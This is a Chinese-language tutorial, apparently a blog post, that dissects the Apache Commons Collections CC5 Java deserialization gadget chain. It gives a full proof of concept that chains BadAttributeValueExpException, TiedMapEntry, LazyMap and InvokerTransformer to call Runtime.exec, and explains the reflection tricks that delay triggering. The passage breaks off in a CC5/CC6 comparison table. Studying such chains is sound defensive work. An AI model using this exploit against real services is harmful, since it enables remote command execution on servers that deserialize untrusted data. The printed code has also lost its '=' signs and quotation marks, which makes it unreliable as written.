本文通过分析一个完整的 CC5 利用链代码深入理解其构造思路和触发机制。我们将使用以下代码进行实验import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CC5Test { public static void main(String[] args) throws Exception { // 要执行的命令根据系统调整 // String command calc.exe; // Windows 弹出计算器 String command touch /tmp/cc5_success; // Linux 创建文件 // 1. 构造恶意 Transformer 链执行命令 Transformer[] maliciousTransformers new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{command}), new ConstantTransformer(1) // 占位不影响执行 }; // 2. 先用一个无害的链占位防止在构造 LazyMap 时意外触发 Transformer dummyTransformer new ConstantTransformer(1); ChainedTransformer transformerChain new ChainedTransformer(new Transformer[]{dummyTransformer}); // 3. 创建 LazyMap其 factory 是 transformerChain MapString, String innerMap new HashMap(); Map lazyMap LazyMap.decorate(innerMap, transformerChain); // 4. 创建 TiedMapEntry绑定 lazyMap 和一个任意 key TiedMapEntry entry new TiedMapEntry(lazyMap, foo); // 5. 创建 BadAttributeValueExpException 对象通过反射设置 val 字段为 entry BadAttributeValueExpException valException new BadAttributeValueExpException(null); Field valField BadAttributeValueExpException.class.getDeclaredField(val); valField.setAccessible(true); valField.set(valException, entry); // 6. 将 transformerChain 中的 iTransformers 替换为真正的恶意链此时才上膛 Field iTransformersField ChainedTransformer.class.getDeclaredField(iTransformers); iTransformersField.setAccessible(true); iTransformersField.set(transformerChain, maliciousTransformers); // 7. 序列化 valException ByteArrayOutputStream baos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(baos); oos.writeObject(valException); oos.close(); // 8. 反序列化 —— 自动触发命令执行 ByteArrayInputStream bais new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois new ObjectInputStream(bais); ois.readObject(); // 漏洞触发点 ois.close(); System.out.println(CC5 链执行完成请检查命令是否执行。); } }超前学习BadAttributeValueExpException的触发机制CC5 链的核心入口是BadAttributeValueExpException位于javax.management包。该类在反序列化时其readObject方法会执行以下关键操作private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { // ... if (val null) { // ... } else { valObj val.toString(); // 关键对成员变量 val 调用 toString() } // ... }也就是说如果我们在反序列化时让val指向一个我们可控的对象那么该对象的toString()方法就会被自动调用。漏洞分析1. 构造通用桥梁CC5/CC6 共用部分// 1. 构造恶意 Transformer 链执行命令 Transformer[] maliciousTransformers new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, ...), new InvokerTransformer(invoke, ...), new InvokerTransformer(exec, ...), new ConstantTransformer(1) // 占位不影响执行 }; // 2. 先用一个无害的链占位防止在构造 LazyMap 时意外触发 Transformer dummyTransformer new ConstantTransformer(1); ChainedTransformer transformerChain new ChainedTransformer(new Transformer[]{dummyTransformer}); // 3. 创建 LazyMap其 factory 是 transformerChain MapString, String innerMap new HashMap(); Map lazyMap LazyMap.decorate(innerMap, transformerChain); // 4. 创建 TiedMapEntry绑定 lazyMap 和一个任意 key TiedMapEntry entry new TiedMapEntry(lazyMap, foo);这部分是 CC5 和 CC6 链共用的“桥梁”恶意链maliciousTransformers最终会通过反射执行Runtime.exec()是真正执行命令的部分。占位链在构造LazyMap和TiedMapEntry时先用一个无害的ConstantTransformer(1)作为ChainedTransformer的内容防止构造过程中意外触发虽然本链中构造过程不会触发get但统一使用占位链是一种防御性编程便于后续替换。LazyMap将普通HashMap包装成LazyMap并挂载transformerChain。当调用lazyMap.get(key)且 key 不存在时会自动执行transformerChain.transform(key)。TiedMapEntry这个类实现了Map.Entry接口其getValue()方法会返回map.get(key)。因此只要调用entry.toString()或entry.hashCode()就会间接触发lazyMap.get(key)。2. 核心// 5. 创建 BadAttributeValueExpException 对象通过反射设置 val 字段为 entry BadAttributeValueExpException valException new BadAttributeValueExpException(null); Field valField BadAttributeValueExpException.class.getDeclaredField(val); valField.setAccessible(true); valField.set(valException, entry);为什么传null查看BadAttributeValueExpException的构造方法源码public BadAttributeValueExpException(Object val) { this.val val null ? null : val.toString(); }如果直接在构造函数中传入entry那么构造函数会立即调用entry.toString()导致命令在攻击者本地执行而非在目标服务器反序列化时触发。因此我们先传入null完成对象实例化然后通过反射将私有字段val直接设置为entry从而绕过构造方法的逻辑实现“延迟触发”。反射操作的作用getDeclaredField(val)获取私有字段setAccessible(true)禁用 Java 语言访问控制set()直接修改对象堆内存中的字段值。这样valException对象内部就持有了entry但尚未触发任何toString调用。3.替换占位链为恶意链// 6. 将 transformerChain 中的 iTransformers 替换为真正的恶意链此时才上膛 Field iTransformersField ChainedTransformer.class.getDeclaredField(iTransformers); iTransformersField.setAccessible(true); iTransformersField.set(transformerChain, maliciousTransformers);此时transformerChain内部原本只包含dummyTransformer现在被替换为完整的maliciousTransformers。由于替换操作发生在序列化之前且LazyMap和TiedMapEntry只是持有对transformerChain的引用所以序列化时会将修改后的内容一并写入。4. 序列化与反序列化触发// 7. 序列化 valException ByteArrayOutputStream baos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(baos); oos.writeObject(valException); // 8. 反序列化 —— 自动触发命令执行 ByteArrayInputStream bais new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois new ObjectInputStream(bais); ois.readObject(); // 漏洞触发点当ois.readObject()执行时BadAttributeValueExpException的readObject方法被调用内部会执行val.toString()。此时val指向entry即TiedMapEntry对象因此调用entry.toString()。TiedMapEntry.toString()会调用getKey() getValue()。getValue()返回map.get(key)即lazyMap.get(foo)。由于foo在innerMap中不存在LazyMap.get()调用factory.transform(foo)这里的factory是transformerChain它已被替换为恶意链。恶意链依次执行ConstantTransformer(Runtime.class)→InvokerTransformer(getMethod, ...)→InvokerTransformer(invoke, ...)→InvokerTransformer(exec, ...)最终执行命令touch /tmp/cc5_success。5. CC5 与 CC6 的区别对比项CC5CC6入口类BadAttributeValueExpExceptionHashSet或HashMap触发方法readObject()→val.toString()readObject